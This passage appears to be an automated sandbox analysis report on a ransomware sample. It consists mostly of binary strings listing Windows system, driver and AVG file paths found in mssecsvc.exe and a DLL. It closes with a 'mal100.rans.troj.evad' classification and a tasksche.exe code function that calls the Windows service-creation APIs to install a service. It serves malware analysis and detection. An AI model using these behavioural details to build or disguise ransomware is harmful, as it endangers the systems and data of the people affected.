          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\ru-RU\rascfg.dll.mui
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Tuner-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-ICM-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
          Source: mssecsvc.exe.2.drBinary string: U\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\User Profile Service
          Source: mssecsvc.exe.2.drBinary string: 7\Device\HarddiskVolume2\Program Files\AVG\Av\avgwsc.exep
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\isapnp.sys
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\BrUsbMdm.sys
          Source: tct5NKwZY8.dllBinary string: D\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\umbus.sys.mui
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\IPMIDrv.sys
          Source: tct5NKwZY8.dllBinary string: ;\Device\HarddiskVolume2\Windows\System32\ru-RU\erofflps.txt
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\adpu320.sys
          Source: mssecsvc.exe.2.drBinary string: `\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\oem3.CATo
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_for_KB976902_RTM~31bf3856ad364e35~x86~~6.1.1.17514.cat
          Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\wersvc.dll
          Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Users\Public\Desktop\Google Chrome.lnk
          Source: mssecsvc.exe.2.drBinary string: ?\Device\HarddiskVolume2\Windows\System32\drivers\Synth3dVsc.sys
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr004.catp
          Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\Defrag.exe
          Source: mssecsvc.exe.2.drBinary string: A\Device\HarddiskVolume2\Windows\Prefetch\AVGUIRNX.EXE-006CD133.pfp
          Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\inf\netvwififlt.PNFF4
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-NFS-ClientSKU-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\aliide.sys
          Source: mssecsvc.exe.2.drBinary string: 6\Device\HarddiskVolume2\Windows\System32\werconcpl.dll
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\UAGP35.SYSt
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\mstee.sysP
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GPUPipeline-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catPROTp
          Source: mssecsvc.exe.2.drBinary string: D\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\PLA_S
          Source: mssecsvc.exe.2.drBinary string: V\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\tmp.edb
          Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\NetTrace
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\mstee.sys
          Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netnwifi.inf_loc
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr006.cat
          Source: mssecsvc.exe.2.drBinary string: C\Device\HarddiskVolume2\Program Files\Internet Explorer\ieproxy.dll
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\storvsc.sys
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\sfloppy.sysH
          Source: tct5NKwZY8.dllBinary string: <\Device\HarddiskVolume2\Program Files\AVG\UiDll\2623\cef.pakp
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnts002.catp
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-InternetExplorer-Optional-Package~31bf3856ad364e35~x86~en-US~8.0.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: r\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaDataI
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Disk-Diagnosis-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\ndisuio.inf_locp
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep00f.catCp
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\AMDAGP.SYS.pdap
          Source: mssecsvc.exe.2.drBinary string: 6\Device\HarddiskVolume2\ProgramData\Avg\AV\DB\stats.db\/
          Source: tct5NKwZY8.dllBinary string: `\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\oem9.CATpx
          Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Windows\servicing\TrustedInstaller.exe
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\BrFiltUp.sys
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Personalization-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\Performance\WinSAT\DataStore
          Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\SndVol.exep
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\ql40xx.sys\
          Source: mssecsvc.exe.2.drBinary string: \\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Remote Access Hostb
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-StarterEdition-wrapper~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Common-Modem-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MobilePC-Client-Premium-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catdp
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\WcsPlugInService.dll
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\TsUsbGD.sys$
          Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\sdrsvc.dll
          Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\usbport.inf_loc
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-EnterpriseEdition-wrapper~31bf3856ad364e35~x86~~6.1.7601.17514.catHp
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\UAGP35.SYS
          Source: mssecsvc.exe.2.drBinary string: X\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\NetworkAccessProtectionPM
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Xps-Foundation-Client-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnhp003.catC
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Server-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\cmdide.sys
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Sidebar-Killbits-SDP-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catH
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnky004.cat\
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Server-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
          Source: mssecsvc.exe.2.drBinary string: Z\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-ClipsInTheLibrary-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\lsi_fc.sysX
          Source: mssecsvc.exe.2.drBinary string: ~\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows Media Player NSS\3.0\Icon Files
          Source: tct5NKwZY8.dllBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\megasas.sysW
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\ql2300.sys
          Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netrast.inf_loc'*
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avg-6ff9b621-270c-4f57-87d7-93687ce43d15.tmpp
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_for_KB976933~31bf3856ad364e35~x86~en-US~6.1.7601.17514.cat5E5p
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prngt003.catp
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WMI-SNMP-Provider-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
          Source: tct5NKwZY8.dllBinary string: s\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows Media Player NSS\3.0R
          Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\consent.exe
          Source: mssecsvc.exe.2.drBinary string: R\Device\HarddiskVolume2\ProgramData\Microsoft\RAC\PublishedData\RacWmiDatabase.sdf
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\sffdisk.sys
          Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\System32\DXP.dllp
          Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Windows\SoftwareDistribution\DataStore
          Source: mssecsvc.exe.2.drBinary string: g\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgns.log.lock
          Source: mssecsvc.exe.2.drBinary string: 8\Device\HarddiskVolume2\Windows\System32\drivers\smb.sys
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\mstee.sysfw\ZZ_
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Client-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cate
          Source: mssecsvc.exe.2.drBinary string: `\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\oem9.CATmp
          Source: mssecsvc.exe.2.drBinary string: L\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\aitagent.exe
          Source: mssecsvc.exe.2.drBinary string: 1\Device\HarddiskVolume2\ProgramData\Microsoft\RAC
          Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\RacEngn.dllPU
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\History
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avg-6ff9b621-270c-4f57-87d7-93687ce43d15.tmp$
          Source: mssecsvc.exe.2.drBinary string: V\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Media Center\Extender
          Source: mssecsvc.exe.2.drBinary string: b\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgns.logUSB4
          Source: mssecsvc.exe.2.drBinary string: ,\Device\HarddiskVolume2\Windows\System32\wfpip
          Source: mssecsvc.exe.2.drBinary string: ^\Device\HarddiskVolume2\Windows\System32\catroot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\storvsc.sys2
          Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\inf\compositebus.PNFp
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\lsi_fc.sys(
          Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\inf\machine.PNF
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TerminalServices-CommandLineTools-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Registry
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\00010001.dirp
          Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netip6.inf_loc
          Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\ProgramData\Microsoft\RAC\StateData\RacMetaData.dat
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\mspqm.sysP5
          Source: tct5NKwZY8.dllBinary string: G\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\vdrvroot.sys.mui
          Source: mssecsvc.exe.2.drBinary string: )\Device\HarddiskVolume2\Windows\Resources
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\megasas.sys3
          Source: mssecsvc.exe.2.drBinary string: @\Device\HarddiskVolume2\Windows\System32\appidcertstorecheck.exe
          Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\IPSECSVC.DLL
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr008.cat
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00b.cat
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\UAGP35.SYS\W
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\ipnat.sys
          Source: mssecsvc.exe.2.drBinary string: 9\Device\HarddiskVolume2\Windows\System32\catroot2\edb.logp
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\usbohci.sys
          Source: mssecsvc.exe.2.drBinary string: ]\Device\HarddiskVolume2\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtxp
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\adp94xx.sysLP
          Source: mssecsvc.exe.2.drBinary string: b\Device\HarddiskVolume2\Users\
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\WUClient-SelfUpdate-Core~31bf3856ad364e35~x86~~7.6.7600.320.cat
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-VirtualPC-USB-RPM-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\00010001.widV
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\GAGP30KX.SYS
          Source: mssecsvc.exe.2.drBinary string: .\Device\HarddiskVolume2\Windows\inf\netip6.PNF
          Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\SCardSvr.dll
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\desktop.ini&
          Source: mssecsvc.exe.2.drBinary string: V\Device\HarddiskVolume2\Users\
          Source: tct5NKwZY8.dllBinary string: D\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\rdbss.sys.mui\p
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\av16\temp\avg-27617c4e-7c1a-491f-b8be-a34d5070ed64.tmp|$hH
          Source: mssecsvc.exe.2.drBinary string: \Device\CdRom0PchSmi
          Source: mssecsvc.exe.2.drBinary string: T\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\av16rp
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnrc003.catp
          Source: tct5NKwZY8.dllBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\SISAGP.SYSx
          Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\timedate.cplp
          Source: tct5NKwZY8.dllBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\rdpdr.sysl\2
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnky008.cat
          Source: mssecsvc.exe.2.drBinary string: c\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\fixcfg.log
          Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\System32\wmp.dll
          Source: tct5NKwZY8.dllBinary string: h\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Cookiesp
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00h.cat
          Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netip6.inf_locp
          Source: tct5NKwZY8.dllBinary string: C\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\ntfs.sys.mui
          Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\FXSSVC.exe
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\dxgkrnl.sys
          Source: mssecsvc.exe.2.drBinary string: r\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\CRLsCPU1
          Source: mssecsvc.exe.2.drBinary string: 1\Device\HarddiskVolume2\Windows\Temp\CR_6DDFF.tmpp
          Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\System32\url.dll
          Source: mssecsvc.exe.2.drBinary string: \Device\Harddisk0\DR0p
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\nvraid.sys=\(
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Editions-Client-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catrs\p
          Source: mssecsvc.exe.2.drBinary string: 8\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft$Hp
          Source: mssecsvc.exe.2.drBinary string: E\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\amdppm.sys.mui
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\tdtcp.sys|$P@
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep00d.catp
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\SISAGP.SYS8
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\HdAudio.sys\/
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\SISAGP.SYS3
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\VIAAGP.SYS.
          Source: mssecsvc.exe.2.drBinary string: p\Device\HarddiskVolume2\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkAccessProtection%4Operational.evtxxpp
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Indexing-Service-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat\$p
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\flpydisk.sys
          Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\ProgramData\Microsoft\RAC\StateData\RacDatabase.sdf
          Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\Tasks\WPDGtn
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\elxstor.sysV
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SampleContent-Ringtones-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: 9\Device\HarddiskVolume2\Program Files\AVG\Av\avgmfapx.exep
          Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Windows\Prefetch\SEARCHINDEXER.EXE-4A6353B9.pfH
          Source: mssecsvc.exe.2.drBinary string: a\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\oem12.CAT
          Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Program Files\AVG Web TuneUp\BundleInstall.exe
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnrc004.cat
          Source: mssecsvc.exe.2.drBinary string: ?\Device\HarddiskVolume2\Program Files\AVG\UiDll\2623\icudtl.datp
          Source: tct5NKwZY8.dllBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\elxstor.sys\
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\ipnat.sys4
          Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\inf\nettcpip.PNFS
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\MegaSR.sysDC2
          Source: mssecsvc.exe.2.drBinary string: [\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatformU3
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\umpass.sys
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\ql40xx.sys
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\lsi_scsi.sys
          Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Windows\System32\drivers\fsdepends.sysd0`p
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00h.catSp
          Source: mssecsvc.exe.2.drBinary string: p\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SearchEngine-Client-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
          Source: tct5NKwZY8.dllBinary string: |\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\History\History.IE5\index.datp
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TerminalServices-UsbRedirector-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat:
          Source: tct5NKwZY8.dllBinary string: G\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\processr.sys.mui
          Source: tct5NKwZY8.dllBinary string: C\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\acpi.sys.mui
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\djsvs.sys
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\nvstor.sys2\
          Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\rasauto.dll_S
          Source: classification engineClassification label: mal100.rans.troj.evad.winDLL@25/57@2/3
          Source: C:\Windows\tasksche.exeCode function: OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,22_2_00401CE8
          Source: C:\Windows\tasksche.exeCode function: 22_2_00401CE8 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,22_2_00401CE8
